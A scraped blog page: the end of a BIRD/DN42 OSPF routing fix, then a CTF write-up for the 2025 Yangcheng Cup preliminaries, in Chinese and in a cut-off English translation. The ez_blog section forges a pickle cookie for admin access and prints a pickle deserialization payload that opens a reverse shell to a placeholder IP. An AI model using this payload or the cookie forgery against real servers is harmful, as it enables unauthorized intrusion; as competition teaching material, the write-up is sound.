root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226
BIRD 2.17.1 ready.
Table master4:
172.20.234.226/32    unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226]
        via 172.20.234.226 on dn42_nkg onlink

Looks seemingly normal...?
Theoretically, although the DN42 source IP is different from the usual, DN42 rewrites krt_prefsrc when exporting to the kernel to inform the kernel of the correct source address, so this issue shouldn't occur:

protocol kernel kernel_v4{  
    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

protocol kernel kernel_v6 {
    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
}

Regarding krt_prefsrc, it stands for Kernel Route Preferred Source. This attribute doesn't manipulate the route directly but instead attaches a piece of metadata to it. This metadata directly instructs the Linux kernel to prioritize the specified IP address as the source address for packets sent via this route.

I was stuck on this for a long time.

The Solution

Finally, during an unintentional attempt, I added the krt_prefsrc rewrite to the OSPF import configuration as well:

protocol ospf v3 dn42_ospf_iyoroynet_v4 {
    router id DN42_OWNIP;
    ipv4 {
-       import where is_self_dn42_net() && source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net() && source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIP;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
    router id DN42_OWNIP;
    ipv6 {
-       import where is_self_dn42_net_v6() && source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net_v6() && source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIPv6;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net_v6() && source != RTS_BGP;
    };

    include "ospf/*";
};

After running this, the src address became correct, and mutual pinging worked.

Configuration files for reference: KaguraiYoRoy/Bird2-Configuration

2025羊城杯初赛WriteUp

Sun, 12 Oct 2025 02:50:00 GMT

GD1

通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑：

extends Node

@export var mob_scene: PackedScene
var score
var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"

func _ready():

    pass



func _process(delta: float) -> void :
    pass


func game_over():
    $ScoreTimer.stop()
    $MobTimer.stop()
    $HUD.show_game_over()

func new_game():
    score = 0
    $Player.start($StartPosition.position)
    $StartTimer.start()
    $HUD.update_score(score)
    $HUD.show_message("Get Ready")
    get_tree().call_group("mobs", "queue_free")

func _on_mob_timer_timeout():

    var mob = mob_scene.instantiate()


    var mob_spawn_location = $MobPath / MobSpawnLocation
    mob_spawn_location.progress_ratio = randf()


    var direction = mob_spawn_location.rotation + PI / 2


    mob.position = mob_spawn_location.position


    direction += randf_range( - PI / 4, PI / 4)
    mob.rotation = direction


    var velocity = Vector2(randf_range(150.0, 250.0), 0.0)
    mob.linear_velocity = velocity.rotated(direction)


    add_child(mob)


func _on_score_timer_timeout():
    score += 1
    $HUD.update_score(score)
    if score == 7906:
        var result = ""
        for i in range(0, a.length(), 12):
            var bin_chunk = a.substr(i, 12)
            var hundreds = bin_chunk.substr(0, 4).bin_to_int()
            var tens = bin_chunk.substr(4, 4).bin_to_int()
            var units = bin_chunk.substr(8, 4).bin_to_int()
            var ascii_value = hundreds * 100 + tens * 10 + units
            result += String.chr(ascii_value)
        $HUD.show_message(result)

func _on_start_timer_timeout():
    $MobTimer.start()
    $ScoreTimer.start()

发现当得分到达7906时会调用一个解密算法，将数组a的数据解密然后打印。尝试按照逻辑编写解密程序：

#include <iostream>
#include <string>
#include <bitset>

using namespace std;

int bin_to_int(const string &bin) {
    return stoi(bin, nullptr, 2);
}

string decodeBinaryString(const string &a) {
    string result;
    for (size_t i = 0; i + 12 <= a.length(); i += 12) {
        string bin_chunk = a.substr(i, 12);
        int hundreds = bin_to_int(bin_chunk.substr(0, 4));
        int tens     = bin_to_int(bin_chunk.substr(4, 4));
        int units    = bin_to_int(bin_chunk.substr(8, 4));
        int ascii_value = hundreds * 100 + tens * 10 + units;
        result.push_back(static_cast<char>(ascii_value));
    }
    return result;
}

int main() {
    string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101";
    cout << decodeBinaryString(a) << endl;
    return 0;
}

运行，得到Flag：DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}

成功男人背后的女人

打开附件发现是一个图片，根据提示，猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议，尝试打开即可发现隐藏图像：将下方的符号按照二进制的方式组合得到：

01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101

8个一组解码：

#include <iostream>
#include <string>
using namespace std;
int main(){
    string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101";
    for(int i=0;i<str.length();i+=8){
        cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2);
    }
    return 0;
}

运行得到：DASCTF{w0mEN_beh1nD_MEn}

SM4-OFB

让AI分析一下加密过程并编写解密脚本：

# 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下）
# 代码会：
# 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始）
# 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码）
#
# 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点）
# 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

# record1 已知明文与密文（用户提供）
record1 = {
    "name_plain": "蒋宏玲".encode('utf-8'),
    "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e",
    "phone_plain": "17145949399".encode('utf-8'),
    "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c",
    "id_plain": "220000197309078766".encode('utf-8'),
    "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

# record2 仅密文（用户提供）
record2 = {
    "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43",
    "phone_cipher_hex": "175533440427265293a16447f8eb554c",
    "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

BS = 16  # 分组长度

# 工具：把字段按 16 字节块切分
def split_blocks(b):
    return [b[i:i+BS] for i in range(0, len(b), BS)]

# 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR）
ks_blocks = {"name": [], "phone": [], "id": []}

# name
C_name = unhexlify(record1["name_cipher_hex"])
P_name_padded = pad(record1["name_plain"], BS)
for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)):
    ks_blocks["name"].append(xor_bytes(c, p))

# phone
C_phone = unhexlify(record1["phone_cipher_hex"])
P_phone_padded = pad(record1["phone_plain"], BS)
for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)):
    ks_blocks["phone"].append(xor_bytes(c, p))

# id (可能为两块)
C_id = unhexlify(record1["id_cipher_hex"])
P_id_padded = pad(record1["id_plain"], BS)
for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)):
    ks_blocks["id"].append(xor_bytes(c, p))

print("Derived keystream blocks (hex):")
for field, blks in ks_blocks.items():
    print(field, [b.hex() for b in blks])

# 2) 使用上述 keystream 去解 record2 相应字段
def recover_field(cipher_hex, ks_list):
    C = unhexlify(cipher_hex)
    blocks = split_blocks(C)
    recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list))
    # 尝试去除填充并解码
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception as e:
        recovered = None
    return recovered, recovered_padded

name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"])
phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"])
id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"])

print("\nRecovered (if OFB with same IV/key and per-field restart):")
print("Name padded bytes (hex):", name_padded.hex())
print("Name plaintext:", name_rec)
print("Phone padded bytes (hex):", phone_padded.hex())
print("Phone plaintext:", phone_rec)
print("ID padded bytes (hex):", id_padded.hex())
print("ID plaintext:", id_rec)

# 如果解码失败，打印原始 bytes 以便人工分析
# if name_rec is None:
#     print("\nName padded bytes (raw):", name_padded)
# if phone_rec is None:
#     print("Phone padded bytes (raw):", phone_padded)
# if id_rec is None:
#     print("ID padded bytes (raw):", id_padded)

# 结束

发现能够计算得到姓名和身份证号，再将Excel表中所有人名dump出来放到txt里，让AI写个脚本批量计算：

#!/usr/bin/env python3
"""
Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and
one known plaintext/ciphertext pair is available (from record1).

This script:
 - Reads an input file (one hex-encoded cipher per line).
 - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream
   blocks for the name-field (keystream = C XOR P_padded).
 - XORs each input cipher with the derived keystream blocks to recover plaintext,
   removes PKCS#7 padding if present, and prints a line containing:
       <recovered_name>\t<cipher_hex>

Usage:
    python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt

Notes:
 - This assumes each name was encrypted as a separate field starting OFB from
   the same IV (so keystream blocks align for the name-field) and PKCS#7 padding
   was used before encryption. If names exceed the number of derived keystream
   blocks the script will attempt to reuse the keystream cyclically (warns about it),
   but ideally you should supply a longer known plaintext/ciphertext pair to
   derive more keystream blocks.
 - Requires pycryptodome for padding utilities:
       pip install pycryptodome

Edit the KNOWN_* constants below if your known record1 values differ.
"""

import sys
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

# -----------------------
# ----- KNOWN VALUES ----
# -----------------------
# These are taken from the CTF prompt / earlier messages. Change them if needed.
KNOWN_NAME_PLAIN = "蒋宏玲"  # record1 known plaintext for name field
KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e"  # record1 name ciphertext hex
IV_HEX = "6162636465666768696a6b6c6d6e6f70"  # the IV column (fixed)

# Block size for SM4 (16 bytes)
BS = 16

# -----------------------
# ----- Helpers ---------
# -----------------------

def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def split_blocks(b: bytes, bs: int = BS):
    return [b[i:i+bs] for i in range(0, len(b), bs)]


# -----------------------
# ----- Derive keystream from the known pair
# -----------------------

def derive_keystream_from_known(known_plain: str, known_cipher_hex: str):
    p = known_plain.encode('utf-8')
    c = unhexlify(known_cipher_hex)
    p_padded = pad(p, BS)
    p_blocks = split_blocks(p_padded)
    c_blocks = split_blocks(c)
    if len(p_blocks) != len(c_blocks):
        raise ValueError('Known plaintext/cipher block count mismatch')
    ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)]
    return ks_blocks


# -----------------------
# ----- Recovery --------
# -----------------------

def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks):
    c = unhexlify(cipher_hex.strip())
    c_blocks = split_blocks(c)
    # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically
    if len(c_blocks) > len(ks_blocks):
        print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr)
    recovered_blocks = []
    for i, cb in enumerate(c_blocks):
        ks = ks_blocks[i % len(ks_blocks)]
        recovered_blocks.append(xor_bytes(cb, ks))
    recovered_padded = b''.join(recovered_blocks)
    # Try to unpad and decode; if fails, return hex of raw bytes
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception:
        try:
            recovered = recovered_padded.decode('utf-8')
        except Exception:
            recovered = '<raw:' + recovered_padded.hex() + '>'
    return recovered


# -----------------------
# ----- Main -----------
# -----------------------

def main():
    if len(sys.argv) != 2:
        print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr)
        sys.exit(2)
    inpath = sys.argv[1]

    ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX)

    with open(inpath, 'r', encoding='utf-8') as f:
        for lineno, line in enumerate(f, 1):
            line = line.strip()
            if not line:
                continue
            # Assume each line is one hex-encoded name ciphertext (no spaces)
            try:
                recovered = recover_name_from_cipher_hex(line, ks_blocks)
            except Exception as e:
                recovered = '<error: %s>' % str(e)
            print(f"{recovered}\t{line}")


if __name__ == '__main__':
    main()

搜索，发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e，再去Excel里搜这串密文对应的身份证号的密文，得到：1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c，再用上面那个脚本解出来：120000197404101676，计算md5：fbb80148b75e98b18d65be446f505fcc即为Flag。

dataIdSort

将需求丢给AI，让AI写了个脚本：

#!/usr/bin/env python3
# coding: utf-8
"""
功能：
- 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。
- 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。
- 所有匹配项均保留原始格式，并输出到 output.csv 文件中。
"""

import re
import csv
from datetime import datetime

# ------------------- 配置 -------------------
INPUT_FILE = "data.txt"
OUTPUT_FILE = "output.csv"
DEBUG = False  # 设置为 True 以在控制台打印详细的接受/拒绝日志

# 手机号前缀白名单
ALLOWED_MOBILE_PREFIXES = {
    "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159",
    "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145",
    "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153",
    "173", "174", "177", "180", "181", "189", "190", "191", "193", "199"
}
# ---------------------------------------------


# ------------------- 校验函数 -------------------

def luhn_check(digits: str) -> bool:
    """对数字字符串执行Luhn算法校验。"""
    s = 0
    alt = False
    for char in reversed(digits):
        d = int(char)
        if alt:
            d *= 2
            if d > 9:
                d -= 9
        s += d
        alt = not alt
    return s % 10 == 0

def is_valid_id(raw: str):
    """校验身份证号的有效性（长度、格式、出生日期、校验码）。"""
    sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]'
    s = re.sub(sep_pattern, '', raw)
    
    if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s):
        return False, "无效的格式或长度"
    
    try:
        birth_date = datetime.strptime(s[6:14], "%Y%m%d")
        if not (1900 <= birth_date.year <= datetime.now().year):
            return False, f"无效的出生年份: {birth_date.year}"
    except ValueError:
        return False, "无效的出生日期"

    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    
    total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights))
    expected_check = check_map[total % 11]
    
    if s[17].upper() != expected_check:
        return False, f"校验码不匹配: 期望值 {expected_check}"
        
    return True, ""

def is_valid_phone(raw: str) -> bool:
    """校验手机号的有效性（长度和号段）。"""
    digits = re.sub(r'\D', '', raw)
    if digits.startswith("86") and len(digits) > 11:
        digits = digits[2:]
    
    return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES

def is_valid_bankcard(raw: str) -> bool:
    """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。"""
    if not (16 <= len(raw) <= 19 and raw.isdigit()):
        return False
    return luhn_check(raw)

def is_valid_ip(raw: str) -> bool:
    """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。"""
    parts = raw.split('.')
    if len(parts) != 4:
        return False
    # 检查是否存在无效部分，如 '01'
    if any(len(p) > 1 and p.startswith('0') for p in parts):
        return False
    return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts)

def is_valid_mac(raw: str) -> bool:
    """校验MAC地址的有效性。"""
    # 正则表达式已经非常严格，这里仅做最终确认
    return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None

# ------------------- 正则表达式定义 -------------------

# 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。
# 1. MAC地址：格式明确，使用冒号分隔。
mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})'

# 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。
ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))'

# 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。
sep = r'[\s\-\u00A0\u3000\u2013\u2014]'
id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))'

# 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。
bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))'

# 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。
phone_prefix = r'(?:\(\+86\)|\+86\s*)'
phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})'
phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))'

# 将所有模式编译成一个大的正则表达式
combined_re = re.compile(
    f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}',
    flags=re.UNICODE | re.IGNORECASE
)

# ------------------- 主逻辑 -------------------

def extract_from_text(text: str):
    """
    使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。
    """
    results = []
    
    for match in combined_re.finditer(text):
        kind = match.lastgroup
        value = match.group(kind)
        
        if kind == 'mac':
            if is_valid_mac(value):
                if DEBUG: print(f"【接受 mac】: {value}")
                results.append(('mac', value))
            elif DEBUG: print(f"【拒绝 mac】: {value}")
        
        elif kind == 'ip':
            if is_valid_ip(value):
                if DEBUG: print(f"【接受 ip】: {value}")
                results.append(('ip', value))
            elif DEBUG: print(f"【拒绝 ip】: {value}")

        elif kind == 'id':
            is_valid, reason = is_valid_id(value)
            if is_valid:
                if DEBUG: print(f"【接受 idcard】: {value}")
                results.append(('idcard', value))
            else:
                # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验
                digits_only = re.sub(r'\D', '', value)
                if is_valid_bankcard(digits_only):
                    if DEBUG: print(f"【接受 id->bankcard】: {value}")
                    # 规范要求保留原始格式
                    results.append(('bankcard', value))
                elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})")

        elif kind == 'bankcard':
            if is_valid_bankcard(value):
                if DEBUG: print(f"【接受 bankcard】: {value}")
                results.append(('bankcard', value))
            elif DEBUG: print(f"【拒绝 bankcard】: {value}")
        
        elif kind == 'phone':
            if is_valid_phone(value):
                if DEBUG: print(f"【接受 phone】: {value}")
                results.append(('phone', value))
            elif DEBUG: print(f"【拒绝 phone】: {value}")
                
    return results

def main():
    """主函数：读取文件，执行提取，写入CSV。"""
    try:
        with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f:
            text = f.read()
    except FileNotFoundError:
        print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。")
        # 创建一个空的data.txt以确保脚本可以运行
        with open(INPUT_FILE, "w", encoding="utf-8") as f:
            f.write("")
        print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。")
        text = ""

    extracted_data = extract_from_text(text)

    with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow(["category", "value"])
        writer.writerows(extracted_data)
    
    print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。")

if __name__ == "__main__":
    main()

运行，得到export.csv，上传，正确率>=98%即可得到Flag：DASCTF{34164200333121342836358909307523}

ez_blog

打开网页，发现要登录，根据提示，尝试使用用户名guest密码guest成功登录访客，发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析，可知这是pickle经过序列化然后转换成hex得到的，解码可发现：KappUser)}(idusernameguesis_admin logged_inub.，尝试通过修改里面的内容，将username改成admin，is_admin改成True，得到：8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e，通过BurpSuite修改请求时的Cookies，成功拿到admin用户的权限（可以创建文章）：也就是说，服务端会将Token反序列化，可以以此利用反序列化漏洞。因为没有回显，只能反弹shell。编写Payload：

import pickle
import time
import binascii
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('''python3 -c "import os
import socket
import subprocess
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('<Your IP>', 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])"''',))

payload = pickle.dumps(Exploit())
hex_token = binascii.hexlify(payload).decode()
print(hex_token)
print(payload)

obj = pickle.loads(payload)

运行得到Payload：80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e，服务器上运行nc -lvvp 2333，将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中：得到Flag：DASCTF{15485426979172729258466667411440}

2025 Yangcheng Cup CTF Preliminary WriteUp

Sun, 12 Oct 2025 02:50:00 GMT

GD1

The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic:

extends Node

@export var mob_scene: PackedScene
var score
var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"

func _ready():

    pass



func _process(delta: float) -> void :
    pass


func game_over():
    $ScoreTimer.stop()
    $MobTimer.stop()
    $HUD.show_game_over()

func new_game():
    score = 0
    $Player.start($StartPosition.position)
    $StartTimer.start()
    $HUD.update_score(score)
    $HUD.show_message("Get Ready")
    get_tree().call_group("mobs", "queue_free")

func _on_mob_timer_timeout():

    var mob = mob_scene.instantiate()


    var mob_spawn_location = $MobPath / MobSpawnLocation
    mob_spawn_location.progress_ratio = randf()


    var direction = mob_spawn_location.rotation + PI / 2


    mob.position = mob_spawn_location.position


    direction += randf_range( - PI / 4, PI / 4)
    mob.rotation = direction


    var velocity = Vector2(randf_range(150.0, 250.0), 0.0)
    mob.linear_velocity = velocity.rotated(direction)


    add_child(mob)


func _on_score_timer_timeout():
    score += 1
    $HUD.update_score(score)
    if score == 7906:
        var result = ""
        for i in range(0, a.length(), 12):
            var bin_chunk = a.substr(i, 12)
            var hundreds = bin_chunk.substr(0, 4).bin_to_int()
            var tens = bin_chunk.substr(4, 4).bin_to_int()
            var units = bin_chunk.substr(8, 4).bin_to_int()
            var ascii_value = hundreds * 100 + tens * 10 + units
            result += String.chr(ascii_value)
        $HUD.show_message(result)

func _on_start_timer_timeout():
    $MobTimer.start()
    $ScoreTimer.start()

We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic:

#include <iostream>
#include <string>
#include <bitset>

using namespace std;

int bin_to_int(const string &bin) {
    return stoi(bin, nullptr, 2);
}

string decodeBinaryString(const string &a) {
    string result;
    for (size_t i = 0; i + 12 <= a.length(); i += 12) {
        string bin_chunk = a.substr(i, 12);
        int hundreds = bin_to_int(bin_chunk.substr(0, 4));
        int tens     = bin_to_int(bin_chunk.substr(4, 4));
        int units    = bin_to_int(bin_chunk.substr(8, 4));
        int ascii_value = hundreds * 100 + tens * 10 + units;
        result.push_back(static_cast<char>(ascii_value));
    }
    return result;
}

int main() {
    string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101";
    cout << decodeBinaryString(a) << endl;
    return 0;
}

Execution yields the Flag: DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}

成功男人背后的女人 (The Woman Behind the Successful Man)

Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks' proprietary protocol. Opening the image with appropriate tools revealed the hidden content:
The symbols at the bottom were combined in binary form:

01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101

Decoding in 8-bit groups:

#include <iostream>
#include <string>
using namespace std;
int main(){
    string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101";
    for(int i=0;i<str.length();i+=8){
        cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2);
    }
    return 0;
}

Execution yields: DASCTF{w0mEN_beh1nD_MEn}

SM4-OFB

We had AI analyze the encryption process and write a decryption script:

# 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下）
# 代码会：
# 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始）
# 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码）
#
# 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点）
# 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

# record1 已知明文与密文（用户提供）
record1 = {
    "name_plain": "蒋宏玲".encode('utf-8'),
    "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e",
    "phone_plain": "17145949399".encode('utf-8'),
    "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c",
    "id_plain": "220000197309078766".encode('utf-8'),
    "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

# record2 仅密文（用户提供）
record2 = {
    "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43",
    "phone_cipher_hex": "175533440427265293a16447f8eb554c",
    "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

BS = 16  # 分组长度

# 工具：把字段按 16 字节块切分
def split_blocks(b):
    return [b[i:i+BS] for i in range(0, len(b), BS)]

# 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR）
ks_blocks = {"name": [], "phone": [], "id": []}

# name
C_name = unhexlify(record1["name_cipher_hex"])
P_name_padded = pad(record1["name_plain"], BS)
for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)):
    ks_blocks["name"].append(xor_bytes(c, p))

# phone
C_phone = unhexlify(record1["phone_cipher_hex"])
P_phone_padded = pad(record1["phone_plain"], BS)
for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)):
    ks_blocks["phone"].append(xor_bytes(c, p))

# id (可能为两块)
C_id = unhexlify(record1["id_cipher_hex"])
P_id_padded = pad(record1["id_plain"], BS)
for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)):
